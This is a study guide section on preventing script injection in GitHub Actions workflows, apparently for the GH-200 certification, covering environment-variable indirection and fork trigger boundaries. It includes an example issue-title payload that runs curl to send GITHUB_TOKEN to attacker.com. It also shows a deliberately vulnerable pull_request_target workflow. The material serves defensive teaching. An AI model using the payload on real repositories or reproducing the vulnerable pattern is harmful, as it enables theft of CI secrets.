9.4 Script Injection Prevention & Secure Workflow Patterns

Script Injection Prevention & Secure Workflow Patterns

Security in continuous integration automation extends beyond secrets management and token permissions. Workflows are automated programs that parse untrusted external inputs—such as pull request titles, issue comments, commit messages, and branch names submitted by external contributors. When these inputs are handled insecurely within workflow definitions, attackers can exploit Script Injection vulnerabilities (CWE-78: OS Command Injection) to execute arbitrary shell commands on runner instances, compromise build artifacts, and exfiltrate secrets.

Securing workflows against script injection, safely handling untrusted context expressions, and navigating the security boundaries between pull_request, pull_request_target, and workflow_run are essential competencies for the GitHub Actions Certification (GH-200) examination.

1. Understanding Script Injection in GitHub Actions

Script injection occurs due to an architectural mismatch between how GitHub Actions evaluates context expressions (${{ ... }}) and how the runner's operating system shell (bash, sh, pwsh) interprets command syntax.

+-----------------------------------------------------------------------------+
|                   SCRIPT INJECTION EXECUTION MECHANICS                      |
|                                                                             |
|   1. Workflow YAML Definition:                                              |
|      run: echo "Processing issue: ${{ github.event.issue.title }}"          |
|                                                                             |
|   2. Attacker submits Issue Title:                                          |
|      Bug"; curl -s https://attacker.com/steal?t=$GITHUB_TOKEN; echo "       |
|                                                                             |
|   3. GitHub Actions Expression Engine (Template Substitution):              |
|      Replaces context expression literally before generating shell script:  |
|      ----------------------------------------------------------------       |
|      echo "Processing issue: Bug";                                          |
|      curl -s https://attacker.com/steal?t=$GITHUB_TOKEN;                    |
|      echo ""                                                                |
|      ----------------------------------------------------------------       |
|                                                                             |
|   4. Shell Execution:                                                       |
|      Runner shell executes the injected curl command with full privileges!  |
+-----------------------------------------------------------------------------+

The Expression Evaluation Lifecycle

1. Template Parsing: Before executing a step, the runner agent parses the YAML string and replaces all ${{ ... }} expressions with their raw string values from the event payload.
2. Script Generation: The expanded string is written into a temporary script file on the runner filesystem (e.g., /home/runner/work/_temp/workflow-script.sh).
3. Shell Invocation: The runner invokes the designated shell (e.g., bash -e workflow-script.sh).
4. If the injected value contains shell metacharacters—such as double quotes ("), single quotes ('), semicolons (;), backticks (`), command substitutions ($(...)), or pipes (|)—the shell executes them as active commands rather than passive data strings.

2. Attack Vectors & Untrusted Expression Audit

Security engineers must recognize which context expressions represent untrusted user input.

Untrusted Context Expressions Matrix

3. The Secure Remediation Pattern: Environment Variable Indirection

The industry-standard mitigation against script injection is Environment Variable Indirection.

# ❌ VULNERABLE: Direct inline expression evaluation
- name: Log Issue Title
  run: echo "Received issue: ${{ github.event.issue.title }}"

# ✅ SECURE: Environment variable encapsulation
- name: Log Issue Title
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Received issue: $ISSUE_TITLE"

Why Environment Variable Indirection Is Secure

When you assign an expression to the step's env: block:

1. The runner assigns the raw string value directly to the operating system process environment table.
2. The shell script references the variable as $ISSUE_TITLE (or "$ISSUE_TITLE").
3. The shell treats the environment variable strictly as an atomic data value, completely ignoring any embedded quotes, semicolons, or command substitutions.

Vulnerable vs. Secure Implementation Patterns

[!TIP] Using Action Handlers: Another secure alternative is to use dedicated JavaScript actions such as actions/github-script. Because JavaScript actions interact with the GitHub Octokit API via compiled Node.js objects rather than shell processes, payload values are treated as native string variables without shell interpolation.

4. Fork Security Boundaries: pull_request vs. pull_request_target vs. workflow_run

Managing workflows that execute on open-source repositories receiving pull requests from untrusted forks represents a fundamental security challenge.

+-----------------------------------------------------------------------------+
|                      FORK CI SECURITY BOUNDARIES                            |
|                                                                             |
|   [pull_request TRIGGER]                                                    |
|   - Code Context: Executes code from untrusted Fork PR branch               |
|   - Secrets: NO ACCESS to repository secrets (secrets context is empty)     |
|   - GITHUB_TOKEN: Read-only permissions                                     |
|   - Security Profile: Safe for untrusted testing; cannot exfiltrate secrets |
|                                                                             |
|   [pull_request_target TRIGGER]                                             |
|   - Code Context: Executes workflow definition from Base repository (main)  |
|   - Secrets: FULL ACCESS to repository secrets                              |
|   - GITHUB_TOKEN: Can have write permissions                                |
|   - CRITICAL RISK: If it checks out fork PR code (ref: head.sha), untrusted |
|     code executes with base repository secrets and write tokens!            |
|                                                                             |
|   [workflow_run CHAINING PATTERN]                                           |
|   - Stage 1: 'pull_request' builds/tests fork code without secrets          |
|   - Stage 2: 'workflow_run' triggers upon completion, running on base       |
|              branch with secrets to post comments or upload artifacts       |
+-----------------------------------------------------------------------------+

The pull_request_target Vulnerability Pattern

The pull_request_target event was introduced to allow automated labeling and triage of pull requests from forks. However, checking out untrusted PR code inside a pull_request_target workflow creates a critical remote code execution vulnerability:

# 🚨 CRITICAL SECURITY VULNERABILITY (CWE-78 / Privilege Escalation)
name: Insecure PR Build
on:
  pull_request_target: # Runs in context of base repo with secrets!

permissions:
  contents: write
  pull-requests: write

jobs:
  insecure-test:
    runs-on: ubuntu-latest
    steps:
      # ❌ DANGEROUS: Checking out untrusted PR head commit into privileged context
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      # ❌ Attacker's malicious package.json / Makefile executes with repo secrets!
      - run: npm install && npm test
        env:
          PROD_DEPLOY_KEY: ${{ secrets.PROD_DEPLOY_KEY }}

The Safe Privileged Chaining Pattern (workflow_run)

To securely build untrusted fork PRs and subsequently perform privileged operations (such as commenting on the PR or publishing preview deployments), use the Two-Stage workflow_run Pattern:

1. Workflow 1 (untrusted-ci.yml): Triggers on pull_request. Runs npm test without access to any repository secrets. It outputs test results or build artifacts to $GITHUB_WORKSPACE and archives them via actions/upload-artifact.
2. Workflow 2 (privileged-comment.yml): Triggers on on: workflow_run when untrusted-ci completes. This workflow runs on the main branch context, downloads the verified test artifact, and safely posts comments or deployment statuses using privileged tokens.